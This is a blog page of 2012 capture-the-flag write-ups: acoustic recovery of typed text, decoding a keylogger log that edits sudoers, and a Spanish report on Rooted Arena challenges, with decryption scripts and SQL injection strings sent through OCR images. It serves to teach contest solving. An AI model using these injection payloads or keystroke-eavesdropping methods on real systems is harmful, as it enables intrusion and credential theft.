Thursday, May 10, 2012

PlaidCTF 2012 – Traitor (200 pts)

Although this challenge was given a score of only 200 points, nobody solved it during or after the PlaidCTF contest, so I decided to give it a chance as a personal challenge, because I saw it very interesting from a technical point of view.

By the way, congrats to the PPP team for the awesome organization of the CTF and its challenges. :-)

Original description

"Top operative laser mic'd a room where a robot conspirator was logging into the robot government's secret interface. We were able to clean up the audio file significantly, but have no clue anymore."

Overview

The challenge is supposed to be very straightforward, because we only have a recorded audio file of someone typing in a keyboard. Assuming that each key emits a different sound when pressed, if we have enough keystrokes, theoretically we should be able to infer the text being typed, making some assumptions (like the expected language and so on).

After listening carefully to the 6 minutes of the audio file, and given the general quality of the challenges, we can safely assume that other approaches (like steganography or guessing) have to be much less probable.

A summary of the process to follow would be:
  • Detect and separate each keystroke
  • Group them according to their sound patterns and similarity
  • Given a keystroke, classify and tag it according to its group
  • Generate a cryptogram with the tagged keystrokes
  • Solve the cryptogram assuming a monoalphabetic substitution cipher

Detecting the keystrokes

Instead of applying a formal method, I started writing some code and testing with some variations and I decided to follow that empirical way, keeping the process as simple as possible, so probably some part of my process is unnecessary or even have a negative impact on the final results or accuracy.

Well, my first step was to clean the audio, reducing the background noise and randomness of the signal, mainly by filtering and minimizing the lowest frequencies.

Original audio signal

Filtered audio signal

Then, I saved this filtered audio as raw PCM data (44100 Hz, 16 bits, mono), instead of the compressed MP3 format of the original file, so now we have the signal directly represented as a byte array, which is a necessary step in order to perform calculations over it.

Each sound can be decomposed as a sum of frequencies, and a well-known mathematical operation to get those frequencies from its time representation is the Fourier transform. Our input is sampled data in time domain, so we will use the Discrete Fourier Transform (DFT) to transform it to the frequency domain.

We can try to detect the beginning of each keystroke based on the amplitude of the signal, and then start taking samples from these points, but I decided to start with a simpler approach, dividing uniformly the whole signal in blocks of the same size, and calculate its DFT.

Spectral view of the same audio signal

I chose a window size of 2048 samples (46 ms) because in average is big enough to fit a whole keystroke alone (without overlapping with the closest ones), so we will have to compute the DTF of 3840 blocks in total. The DTF function will output a sequence of complex numbers, but for our purposes of spectral analysis, we can simplify and take their magnitude as a valid measure, so we will use an array of integers to hold each DFT.

Once we have the DFT of each block, we can try to determine if it contains the sound of a keystroke or not by estimating the energy or power of the signal and checking if it's greater than a threshold. For instance, this can be done by summing the squares of each value.

After getting rid of the silence blocks, I simplified each remaining DFT again by calculating the average of each 16 values (so the final length of the DFT arrays will be 64), trying to minimize the impact of the noise and randomness.

Let's see the spectrum graph of some keystrokes to see what we have done until now:

Comparing different and similar keystrokes

Well, as we might expect, we can clearly appreciate the difference between the graphs of the presumably different keystrokes (on the left), and the similarities of the keystrokes that appear to be originated by the same key (on the right).

Grouping the keystrokes

Now we can sort all of these samples by some indicator of their similarity. For this task I tried with a very simple method, minimizing the Euclidean distance of the DFT vectors between each pair of consecutive samples. To check if that method was apparently good enough or not, I saved that sorted samples in a new audio file, getting the following:

Keystrokes sorted by minimum distance

The results are quite impressive, because the consecutive samples sound almost identically, and at the same time we can clearly see that they are also sorted by energy, so the first ones are more likely to be echoes rather than being keystrokes.

The last step involving the audio data is to group and tag all the samples. There are a lot of IA algorithms to classify a group of samples, but again, I decided to choose one of the simplest ones: scrolling the spectral view of the sorted samples manually and writing down in a paper the exact instants when the frequencies changes substantially (it could be done visually and aided by the sound itself).

Visual representation on how I divided the groups

In the transition zone between a group and the next one, sometimes we'll find some samples which aren't clearly belonging to the first or the second group, but the error rate should be small in any case, and should not affect the global recovery of the text, because we have a lot of samples compared with the number of groups.

Tagging the keystrokes

In my implementation, the algorithm detected 1993 positive samples, and then I classified them in 42 different groups (much more than the expected 26 letters of the alphabet plus the space bar, carriage return and some punctuation signs). There are many reasons to justify this fact, but let's continue with the process and they'll be explained later.

In my opinion, a real keyboard won't produce so many different and distinguishable sounds, like the keys of a piano, but most keys have to sound almost identically. At this point, we can suspect that the audio file isn't a real recording, so if it's specifically generated to be solvable, there could be a chance that each sound has some direct relationship with its ASCII code or something, but I didn't found any.

In a real scenario, the process should require more complex methods and algorithms, involving accurate cepstrums, training, probabilities, Markov chains, neural networks and so on, but in our case we will be tagging each group sequentially (for instance, starting with the labels "a", "b", "c"…), and then sort them again according to the original positions of each sample. After that process, we will have a text cryptogram ready to be solved.

Solving the cryptogram

I started replacing the labeling the biggest groups, assuming that they have to be the space bar or the letter "e" (the most frequent keys in English), checking if the cryptogram is still consistent with the expected average word lengths. After that, I continued analyzing and replacing the most common or unusual word patterns, for instance, assuming that the ones of 3 letters have to be words like "the" or "are", the ones of 5 or 6 letters that matches with "robot" and "robots", or the almost unique pattern of the word "effective" (which appears 3 times in the text).

Finally, after replacing most of the letters, we have a lot of readable phrases, and we can infer new conclusions. The most important conclusion is that some special keys (like shift or enter) are actually emitting multiple and different sounds when pressed and when released. We can see it clearly at the beginning of the phrases, because they are starting with an uppercase letter. By the way, although we can read most of the text, this detail will be crucial to solve the challenge, as we will see.

My recovered text

Finally, this is the raw text I managed to recover from the audio, without any manual correction. Some notes regarding this text:

  • The uppercase letters are the ones which have been replaced
  • The lowercase are some of the original tags of the different groups (so they are quite random and have no real meaning), because their classification wasn't good enough
  • The symbol "^" represents the shift key press, and "-" is the release of this key

LOGIN
ROBOT
^M-Y KEYSTROKES ARE ^FAe -ThO LOUD ^H,-
MAIL.F
IAIL 
R ^mDANGERL HACAERSm -OERLORD^K-ROBOMmIL.CO.ROBO 
^I-TCSEEMS THATCTVE HSMAhNS ARE GATHERINh THEIR FORCES^R^

^G-REETINGS TmAELLER,

^A-S YOUmKNOW, OUR WORGT IS IN eERIL. ^O-UR ENEMIES, THERODOTS, BECOME MORE
POWERFUL mITH EVERY PASSImGmTmY. ^B-EFORE WE ARE CAPTURED ANT ALL HOPE IS LOSTe, WE
QUSTHMAKE ONE LAST STAND AGAINST THEM FOR ALL OF HUMANITY.F

^U-P UmTIL NOWh OUR ONLY EFFECTIeE TOOLS AGAINST THE ROBOTSmHAVR BmEN DRUTE FORCE
AND DIAMOND WEAPONRY. ^O-BVIOUSLY DImMONDS ARE EFFECTIhE 
OR A NUMBER OF REASONS
^C-HARD ENO
GH TO CUT THROUGH ROBOT ARMOR, STRONG ENOUGH TO MAKE EFFECTIeE
RESTRAINTS, AND SEINY^Y-, HOWEVER, THE R
BOTS ARE KNOKLEDGEABLE OFmTHESE TOOLS,
AND HAVE BEEN QUBTE SUCCESSFUK IN RAIDING OUR DImMOND STOPAGE FACILITIESP
^F-URTHER, ALTHOUGH OUR KNIGHTS ARE BRAVm, THE ROBOTS ARE NUMEROSS, AmD VERYO
DVIFFICSLT TODEFEATh

^L-UCKILY, WE HA.E A SECRET WEAPOH. ^Y-OU. ^H^ACKERS.

^I-T ICS RECENTLY COME TO OUR ATWENTION TAT OUR ROBOT FOES ARE FUGP OF BUGS. ^F-EW
ARE SKILLED ENOUGHmIN THE TYPES OF WIIARDRY RESUIRED T FIND THESE BUGSW BUT
WHEN THEY ARE FOUND, THESE BUGS PROVIDE AN EASY WAY TO TAKE OVER AND DESTmOY
THE RO,OTS. ^F-URTHER, MANY OF THE ROBOTS HA.E HIDDEN DESTRUCTION CODm SEQUENCES^L-
FIND QHE SEQUENCE, AND WEmCAN CAUSE TE ROBOT TO SELF DESTRUCTe

m^W-OTH OURmDIAMOND SURPLY DmINDLINh AND OUR ARMYmOF KNIGHTS LIMITEF, OUR eLAN IS
TO IAKE A HACAINh BLIT  TO CATCH THE ROBOTS BY SURPRISE. ^m-E ARE CALLING ALL THE
IACKImG WIIARDS ACROSS THE LAND Th WORK ThhETHER FOR YI HOURS T TAKE OUT AS
MANY ROBOTS AS POSSIBLE. ^W-ITE ENOUGH HELP, mE THINK IT WILL BE POSSIBLE TO
OVERCOME OUR ROBOT ENEMIES AND DESTROY THEBR EIL REIGN.

^W-E ARE C-UNTING ON YOUR HELPW GOOD LUCK.

.
DATE
LOGOUT
Well, we can see that the recovered text was not perfect (probably because I simplified excessively the process), but it's highly readable and I stopped there, although with some refinements the algorithm probably could perform better.

The original text was taken mainly from the synopsis of the PlaidCTF, and the flag seems to be one of the sentences at the beginning. My first attempt on the scoring panel would have been: "My keystrokes are FAR too loud", so I contacted the organizers explaining what I did and they told me that I was close, but it wasn't the correct flag (and revealed me the right one).

The original text

According to the organizers, this was literally the original text (and they used a script to generate the audio file). In this case, the "^" symbol represents a pause.

login
^robot
My keystrokes are >>WAY<< too loud
^^mail
^^^^^^^^^^^^mail -s "DANGER: HACKERS" overlord@robomail.co.robo
^It seems that the humans are gathering their forces:

Greetings traveller,

As you know, our world is in peril. Our enemies, the robots, become more
powerful with every passing day. Before we are captured and all hope is lost, we
must make one last stand against them for all of humanity.

Up until now, our only effective tools against the robots have been brute force
and diamond weaponry. Obviously diamonds are effective for a number of reasons
(hard enough to cut through robot armor, strong enough to make effective
restraints, and shiny), however, the robots are knowledgeable of these tools,
and have been quite successful in raiding our diamond storage facilities.
Further, although our knights are brave, the robots are numerous, and very
difficult to defeat.

Luckily, we have a secret weapon. You. Hackers.

It has recently come to our attention that our robot foes are full of bugs. Few
are skilled enough in the types of wizardry required to find these bugs, but
when they are found, these bugs provide an easy way to take over and destroy
the robots. Further, many of the robots have hidden destruction code sequences:
find the sequence, and we can cause the robot to self destruct.

With our diamond supply dwindling and our army of knights limited, our plan is
to make a hacking blitz to catch the robots by surprise. We are calling all the
hacking wizards across the land to work together for 48 hours to take out as
many robots as possible. With enough help, we think it will be possible to
overcome our robot enemies and destroy their evil reign.

We are counting on your help, good luck.

.
^^^^^^date
^^^logout

Final remarks

When I saw the angle brackets on the flag, I thought that they were emphasizing the wrong word in my expected flag, but no, they weren't… these symbols are actually part of the flag!

I can imagine when somebody thought something like: "Hey, this challenge is very easy, so let's give it 200 points only, and to make it harder, let's use a flag with short words and strange symbols in the middle" xDD

Initially, I argued them that it was impossible to determine that symbols of the flag, as they weren't used in any other part of the text, but they replied to me that the angle brackets, in the American keyboard layouts, are the same keys (and sounds) of comma and dot, combined with the shift key. So yes, they're right and I completely agree, but I didn't noticed that, mainly because in my Spanish keyboard (and many others) these symbols are sharing the same key, so they are in a different location, and also, in the text I recovered, the process missed and confused some keystrokes.

Tuesday, May 1, 2012

PlaidCTF 2012 - Editors (100 pts)


Past weekend, we participated in Plaid CTF 2012 (perhaps the best CTF I've ever played, kudos to PPP!). I haven't seen any write-up about "Editors" challenge so here we go...

At first sight, this challenge seems simple and even easy to solve by guessing. But it turned out to be not so easy but a real mess :)

What we know:
"We recently gained access to a log (handout.txt) of a robot operative interacting with computer. We are unsure what he was up to but we know  it is of the upmost importance to figure it out."
We are also given following hints:
1. In /etc/sudoers, editor=/usr/bin/emacs
2. Try out yourself!
3. By the state of the machine, we mean either 'on' of 'off'.
After opening .txt file we can read:
"We received the following from our keylogger.  Please submit to us the number of times the editor default in sudoers is set, followed by that field's final value, followed by the number of shells invoked, followed by the state of the machine."
That's all we have. So it's your chance now... try to solve it without our help! Or keep on reading if you are not brave enough! }:-) (seriously, try it yourself!).

- - -

Text was taken from a keylogger so it must contain keycodes. First task is building some kind of conversion table:

  • 1b     ->  <esc>
  • 1b 1b  ->  <esc><esc>  or  <alt-esc>
  • 01     ->  <ctrl-a>
  • 09     ->  <tab>  or  <ctrl-i>
  • 02     ->  <ctrl-b>
  • 1b 30  ->  <esc>0  or  <alt-0>
  • 18     ->  <ctrl-x>
  • 13     ->  <ctrl-s>
  • 03     ->  <ctrl-c>
  • 0a     ->  <ctrl-j>
Some ambiguities arise but we could try to solve it by context, or in other words, by reading different documentation like:
- teco:
- screen 
(etc.)

Below this is the final text we built (with big effort and pain :-)). We need to know when a new shell is opened and when a modified sudoers is written (this is important: sudoers should be truly modified in order to count). Our approach was to reproduce typed text in order to understand it better. See inline comments.


ssh user@1337box<enter>  [ No new shell is opened *in our box* ]
cronjobscronjobscronjobscronjobs<enter>
ksu -l<enter>     [ Now I'm root. But no new shell is opened! ]
ub3rstongdeemonsfromtehsewarsZZZ!<enter>   [ Ups, root password! ]
cd<enter>
screen<enter>     [ Shell++ (=1) ]
<enter>
<ctrl-a>S         [ Split window ]
<ctrl-a><tab>     [ Switch to lower window ]
<ctrl-a>c         [ Open shell in lower window -> Shell++ (=2) ]
tmux<enter>       [ Open tmux in lower window  -> Shell++ (=3) ]
<ctrl-b>%         [ Lower window is splitted   -> Shell++ (=4) ]
<ctrl-a><tab>     [ Switch to upper window ]
tmux<enter>       [ Open tmux in upper window  -> Shell++ (=5) ]
<ctrl-b>%         [ Upper window is splitted   -> Shell++ (=6) ]
emacs --daemon<enter>
EDITOR="emacsclient -nw"<enter>
<ctrl-a><tab>     [ Switch to lower window ]
teco<enter>
EB/etc/sudoers<esc><esc>
P<esc><esc>
S
editor
<esc>0
TT
<esc><esc>
EX<esc><esc>
<ctrl-b>o         [ Switch to lower-left window ]
<enter>
EDITOR=vim visudo<enter>   [ Open sudoers with Vim ]
<esc>
:%s/emacs/vim, /g<enter>   [ Now "editor=/usr/bin/vim," -> Comma is wrong! ]
<esc>
:wq<enter>        [ Syntax error when saving to sudoers due to comma ]
<ctrl-b>&y        [ Kill lower-left window. We have now 1 lower window (and 2 upper) -> Shell-=2 (=4) ]
<ctrl-a><tab>     [ Switch to upper-right window ]
<ctrl-a>Q         [ We have 2 windows: left and right. We are at right (EDITOR="emacsclient -nw") ]
visudo<enter>     [ Open sudoers with Emacs ]
<ctrl-b>o         [ Switch to left window ]
ln -s /sbin/poweroff exec<enter>  [ I'm root so sym-link is created correctly ]
ed /etc/sudoers   [ Open sudoers with Ed (in left window; keep open Emacs in right one ]
<ctrl-b>o         [ Switch to right window (Emacs) ]
<esc>OB<esc>OB<esc>OB...   [ Move cursor down by 8 lines ]
<esc>OC<esc>OC<esc>OC...   [ Move cursor 31-times right ]
<esc>[3~<esc>[3~...        [ Delete 7 times ]
teco              [ We add "teco" ]
<ctrl-b>o         [ Switch back to left window (Ed) ]
9s/emacs/ed<enter>
%l<enter>
w /etc/sudoers<enter>   [ Save /etc/sudoers ]
q<enter>          [ Close Ed ]
<ctrl-b>o         [ Switch to right window (Emacs) ]
<ctrl-x><ctrl-s>  [ Save sudoers.tmp (but not real sudoers file!!) ]
<ctrl-x><ctrl-c>  [ Close Emacs -> Save /etc/sudoers AGAIN!! ]
<ctrl-b>&y        [ Only 1 window -> Shell-=2 (=2) ]
<ctrl-a>ky        [ Shell-- (=1) -> Only Screen process is left running ]
./exec<enter>     [ Still root (ksu) -> Shutdown machine -> off ]


Summary, we have done 2 (real) changes in sudoers, "teco" remained as editor in sudoers (last successful modification was done with Emacs), we have opened 6 shells and machine state is "off".

The solution to the challenge is:
2/usr/bin/teco6off

Wednesday, March 21, 2012

Rooted Arena 2012 - Complete write-up


As you probably know, "int3pids" participated for the first time in this contest... and we won it! :-)

This year's challenges were not so mature and indeed there is a big chance for improvement for the next year. But it was still funny to solve some of them (others were a real PITA).

Now, the complete write-up follows... 

Note #1: We presented it to the Organization in .pdf... and in Spanish. We had no time to translate into English (sorry!).
Note #2: Rules forced us to deliver the doc *before* the contest ended. So don't expect a very elaborated documentation.

Enjoy!

- - -

Rooted Arena 2012
Informe


26 Febrero 2012

Introducción

Este informe detalla el proceso de resolución de las pruebas del concurso RootedArena 2012 desarrollado entre el 17 de Febrero de 2012 y el 26 de Febrero de 2012.

La información disponible al principio del concurso consistía de una tabla con los datos de acceso a las distintas pruebas. Para alguna de las pruebas era necesario descubrir parte de los datos de acceso mientras que para otras toda la información se proporcionaba desde un principio.

La tabla tal cual se podía ver en el PDF entregado a los participantes se reproduce en la siguiente imagen:





Desarrollo de las pruebas

En esta sección se describe el proceso de resolución de cada una de las pruebas completadas durante el concurso. Para las pruebas no completadas, se proporciona una breve descripción de las distintas aproximaciones realizadas.

Las pruebas se encuentran listadas en base al número de prueba, y no al tiempo de resolución de las mismas.


Prueba 00

Resolución

Realizando un escaneo de la red obtenemos la siguiente lista de hosts activos:

Host 10.1.0.1 appears to be up.
Host 10.1.0.21 appears to be up.
Host 10.1.0.22 appears to be up.
Host 10.1.0.23 appears to be up.
Host 10.1.0.24 appears to be up.
Host 10.1.0.25 appears to be up.
Host 10.1.0.26 appears to be up.
Host 10.1.0.254 appears to be up.

Se puede ver que el host 10.1.0.1 parece activo pero no aparecía en el listado de máquinas de pruebas. Realizamos un escaneo de puertos y descubrimos que en esta máquina se puede acceder a un servidor DNS. Obteniendo información de la clase chaos del DNS averiguamos el hostname ctf2012:

$ dig hostname.bind txt chaos @10.1.0.1
; <<>> DiG 9.7.3 <<>> hostname.bind txt chaos @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19104
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;hostname.bind.                 CH      TXT

;; ANSWER SECTION:
hostname.bind.          0       CH      TXT     "ctf2012"

;; AUTHORITY SECTION:
hostname.bind.          0       CH      NS      hostname.bind.

;; Query time: 39 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sun Feb 26 22:02:33 2012
;; MSG SIZE  rcvd: 65

Seguidamente obtenemos los datos asociados a este host:

$ dig ctf2012 ANY @10.1.0.1

; <<>> DiG 9.7.3 <<>> ctf2012 ANY @10.1.0.1
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4997
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;ctf2012.                       IN      ANY

;; ANSWER SECTION:
ctf2012.                604800  IN      SOA     localhost. root.localhost. 31338 604800 86400 2419200 604800
ctf2012.                604800  IN      NS      ns.ctf2012.
ctf2012.                604800  IN      TXT     "prueba00 key=quite_clever_dns_is_useful"

;; ADDITIONAL SECTION:
ns.ctf2012.             604800  IN      A       10.1.0.1

;; Query time: 42 msec
;; SERVER: 10.1.0.1#53(10.1.0.1)
;; WHEN: Sat Feb 25 16:26:24 2012
;; MSG SIZE  rcvd: 160

Clave

La clave para obtener la puntuación de esta prueba es: quite_clever_dns_is_useful


Prueba 01

Resolución

Nos conectamos vía SSH y nos movemos al directorio /home/ctf01. Allí encontramos un archivo LEEME cuyo contenido es “La clave es el Password.”. Posteriormente, encontramos un directorio con registros del sistema en /logs, y analizando el contenido de los logs encontramos el siguiente texto:

Password: kLmmNooP0

Clave

La clave para obtener la puntuación de esta prueba es: kLmmNooP0


Prueba 02

Resolución

Al acceder al home del usuario proporcionado nos encontramos con 2 pcap y un archivo llamado cryptcat que se encuentra vacío y al cual no podemos acceder. Descargamos los pcap y analizamos el archivo llamado prueba2.cap. Podemos ver una conexión con un intercambio de datos sobre TCP, que asumimos está cifrada con cryptcat.

Tras varios intentos de reproducir los datos y descifrarlos con cryptcat conseguimos el resultado con los siguientes comandos tras extraer los datos del pcap al archivo flujo:

$ cryptcat -k kLmmNooP0 -l -p 8000 > decrypted
$ cat flujo | nc -v localhost 8000

Con esto obtenemos un archivo PDF, que contiene el siguiente código JavaScript:

7 0 obj
<<
 /Type /Action
 /S /JavaScript
 /JS (app.alert(FileNM);app.alert({cMsg: 'This PDF was created using Didier Stevens tools. Challenge key is = [didiermola]', cTitle: 'RootedCON2012 CTF: makepdf 1_1 - PRUEBA2 MUY SIMPLE', nIcon: 3});)
>>
endobj

Clave

La clave para obtener la puntuación de esta prueba es: didiermola


Prueba 03

Resolución

En el directorio home del usuario ctf03 se puede encontrar una imagen de 512MB. Al descargarla y hacer un strings se puede comprobar que se trata de un sistema de ficheros, pero que al intentar montarlo falla puesto que la imagen está corrupta.

Tras varios intentos de recuperar el sistema de ficheros con Testdisk, para intentar conseguir un archivo potencialmente interesante que aparece al hacer strings (aparece la siguiente ruta /home/AAAAAA/CTF2012/AAA/AAAAA/AAAA/rooted.txt), decidimos simplemente seguir analizando la salida de strings.

Tras un tiempo mirando cadenas sin sentido, aparecen las siguientes frases:
las coordenadas están en los ficheros.
you can find coordinates into the files.

Tras esto, pasamos foremost en busca de algún fichero que pueda contener coordenadas. Las primeras ideas apuntan a ficheros JPEG con las coordenadas en los metadatos EXIF. Sin embargo, este camino parece llevar a ninguna parte. Entre los archivos recuperados con foremost aparecen dos archivos wav, cuyo contenido consiste claramente de tonos DMTF.

Tras decodificarlos, obtenemos los siguientes valores: 51594744 y 00443394. Lo siguiente es jugar con Google Maps y varias combinaciones de estos números. Tras varias pruebas que nos llevan al medio del océano y a partes que no nos dicen nada, llegamos al siguiente punto:



Cómo se puede observar en el mapa se trata de Bletchley Park, localización famosa por su utilización por la inteligencia aliada durante la II Guerra Mundial como centro de criptoanálisis.

Clave

La clave para obtener la puntuación de esta prueba es: Bletchley Park


Prueba 04

Resolución

Tras acceder al home del usuario, podemos ver un shell script con nombre sender. Analizando el script, vemos que extrae un fichero XML de él. Extrayendo dicho fichero con uudecode obtenemos los siguientes datos:


ctf04
ppLggd099
R3Sti
1
md5


Probamos varias combinaciones de esta información cómo md5(time + seed + pass), md5(seed+pass+time), etc. Hasta dar con md5(pass+seed) que nos da el token correcto.

Clave

La clave para obtener la puntuación de esta prueba es: 9073a59977303ebdfea39302f407cc6e


Prueba 05

Resolución

La contraseña de acceso al servidor SSH para el usuario ctf05 resulta ser el mismo password obtenido en el archivo XML de la prueba 04. Tras acceder al SSH encontramos un APK con una aplicación Android a reversear en /usr/CTF/prueba05/crackme2.apk.

Mediante dex2jar convertimos el apk en jar y procedemos a decompilarlo usando JD-GUI. Con esto, podemos ver que la aplicación contiene un receptor de SMSs cuyo acceso parece ser protegido por una clave.

Analizando la clase SMSReceiver vemos que en primer lugar valida los SMS recibidos usando TDES para descifrar valores obtenidos de los recursos del APK. Una vez validado el SMS, se inicia la clase KeyScreen, que pide una clave y la valida de una forma similar.

Finalmente, cuando esta clave es correcta se llama a CrackmeDone, que a su vez descifra la clave final desde los recursos del APK. Puesto que no se disponía del entorno de ejecución de Android cuando se realizó la prueba, se decidió resolverla estáticamente.  El código que muestra la clave final es el siguiente:

package com.android.crackme;

import android.app.Activity;
import android.content.res.Resources;
import android.os.Bundle;
import android.widget.TextView;
import com.chilkatsoft.a;

public class CrackmeDone extends Activity
{
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903042);
    TextView localTextView = (TextView)findViewById(2131034115);
    a locala = new a();
    if (!locala.g("Belén Esteban, prinsesa der pueblo0o0h!"));
    while (true)
    {
      return;
      locala.d("3des");
      locala.f("cbc");
      locala.b();
      locala.a();
      locala.c("hex");
      locala.e("md5");
      locala.b(getResources().getString(2130968579), "hex");
      locala.a(locala.b(getResources().getString(2130968580)), "hex");
      String str = locala.a(getResources().getString(2130968581));
      localTextView.setText("" + str + "\n");
    }
  }
}

Para reproducir dicho código, se utilizó el siguiente script Python para obtener la clave final, utilizando las mismas librerías criptográficas usadas por el crackme. Antes de ello, necesitamos extraer las cadenas de los recursos y averiguar qué cadena pertenece a cada parámetro numérico utilizado en el código. Para ello usamos apktool:

import sys
import chilkat
import binascii


def mdecode (str):
    out = ""
    for e in str:
        out = out + chr( (ord(e)-32+47)%94 + 32)
    return out

crypt = chilkat.CkCrypt2()

success = crypt.UnlockComponent("Anything for 30-day trial.")
if (success != True):
    print "Crypt component unlock failed"
    sys.exit()

#  Specify 3DES for the encryption algorithm:
crypt.put_CryptAlgorithm("3des")

crypt.put_CipherMode("cbc")
crypt.put_KeyLength(192)
crypt.put_PaddingScheme(0)
crypt.put_EncodingMode("hex")
crypt.put_HashAlgorithm("md5")

keyAscii = "000102030405060708090A0B0C0D0E0F0001020304050607"
ivAscii = "0001020304050607"
crypt.SetEncodedIV(ivAscii,"hex")
crypt.SetEncodedKey(crypt.hashStringENC(keyAscii),"hex")

encStr = "5C2259CE34701A6C79FE3E054197344D14C8817DDE225A74333EC66D6D45F41141AE9B5264A036EA4C4510D6F3DC27D5"

#  Now decrypt:
decStr = crypt.decryptStringENC(encStr)
print decStr

Una vez ejecutado, el resultado es el siguiente:

Here you have your key: c4r4c0l3s_3n_pr1m4v3r4!

Además de esta clave final, también desciframos las otras cadenas mediante scripts similares por si fuesen útiles para otras pruebas. El resultado de descifrar las otras dos cadenas es el siguiente:

chuck_n0rr1s_t0d0p0d3r0s0
ch4ll3ng3_s0lv3d?_n0p3_1s_chuck_t3st4

Para estas últimas hubo que sacar el código de la clase CipherAlgorithm mediante baksmali, puesto que JD-GUI no lo reconstruye correctamente. El código obtenido con baksmali es el siguiente:

:goto_0
   if-lt v0, v3, :cond_0

   invoke-virtual {v1},
Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

   move-result-object v0

   return-object v0

   :cond_0
   aget-char v4, v2, v0

   add-int/lit8 v4, v4, -0x20

   add-int/lit8 v4, v4, 0x2f

   rem-int/lit8 v4, v4, 0x5e

   add-int/lit8 v4, v4, 0x20

   int-to-char v4, v4

   invoke-virtual {v1, v4},
Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;

   add-int/lit8 v0, v0, 0x1

   goto :goto_0

Que implementado en Python queda como sigue:

def mdecode (str):
    out = ""
    for e in str:
        out = out + chr( (ord(e)-32+47)%94 + 32)
    return out

Clave

La clave para obtener la puntuación de esta prueba es: c4r4c0l3s_3n_pr1m4v3r4!


Prueba 06

Resolución

Tras escanear la IP proporcionada ( 10.1.0.23 ) obtenemos la siguiente lista de servicios abiertos:

$ nmap scan report for 10.1.0.23
 Host is up (0.036s latency).
 Not shown: 1017 closed ports
 PORT   STATE SERVICE
 22/tcp open  ssh
 47/tcp open  ni-ftp
 80/tcp open  http
 81/tcp open  hosts2-ns
 86/tcp open  mfcobol
 87/tcp open  priv-term-l
 88/tcp open  kerberos-s
Además, el fichero otraprueba.pcap obtenido en la prueba 02 nos proporciona información sobre el servicio en el puerto 80 de esta máquina. Tras analizar las capturas, creamos un script en python para pasar valores arbitrarios (incluyendo imágenes con texto creadas con convert de ImageMagick) al servicio.

El servicio responde en ocasiones detectando la imagen, y en otras ocasiones con CODE IS INVALID. Además, la máquina sufre problemas continuos resultando en inaccesibilidad al servicio, bien por problemas de conexión o por errores tipo Internal Server Error.

Cambiando los valores en la imagen por otros valores intentando buscar inyecciones SQL, obtenemos el siguiente error usando el texto 000000’ /* AA:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4097 OR PARSE ERROR
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

 Además, también obtenemos otro error SQL distinto al pasar cadenas como 000001´OR 1=1 /*:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws">
<s-gensym3 xsi:type="xsd:string">ERROR SQL 4098: SELECT QUERY FAILED ON [000001]
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

En cambio, realizando ligeros cambios en la sentencia obtenemos resultados que parecen incoherentes: la petición es aceptada perfectamente y nuestra cadena es devuelta por el servicio o el parse error anterior es devuelto.

Esto nos lleva a pensar que no hay un servidor SQL real detrás del servicio. Tras varias pruebas más y paciencia probando con UNION SELECT´s con valores distintos, llegamos a la combinación mágica:

000000\'     UNION      SELECT     \'1\'  ,  \'1\'  ,  \'1\' /*

Utilizando este texto en la imagen recibimos la siguiente respuesta:

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><namesp1:plateResponse 
xmlns:namesp1="urn:ws"><s-gensym3 xsi:type="xsd:string">31337OWNED
</s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>

Como se puede observar, no hay en ningún momento referencias a campos conteniendo la clave ni nada similar. Con una sentencia así, uno esperaría obtener campos con valor 1 en el resultado en lugar de una clave tal cual.

Esto lleva a la conclusión de que no hay motor SQL detrás de la prueba sino una serie de comprobaciones sobre la cadena obtenida tras el paso por el OCR.

Clave

La clave para obtener la puntuación de esta prueba es: 31337OWNED

Prueba 07

Resolución

De nuevo un servicio en la máquina maldita. Esta vez se trata del puerto 81, que indica ser un Roxen Web Server 0.99.19B. Además del 81, este servicio estaba corriendo en otros puertos como el 86, 87 y 88, aunque aparentemente era el mismo servicio puesto que cuando caía uno caían todos.

Al hacer una petición GET al servicio, se obtiene un error HTTP 401 Unauthorized:

UTCDate: Sat Feb 25 14:04:08 UTC 2012

HTTP/1.1 401 Unauthorized
Date: Sat, 25 Feb 2012 14:04:08 GMT
Server: Roxen Web Server 0.99.19B
Content-Type: text/html
Content-Length: 59

<title>401 Unauthorized</title>
<h1>401 Unauthorized</h1>

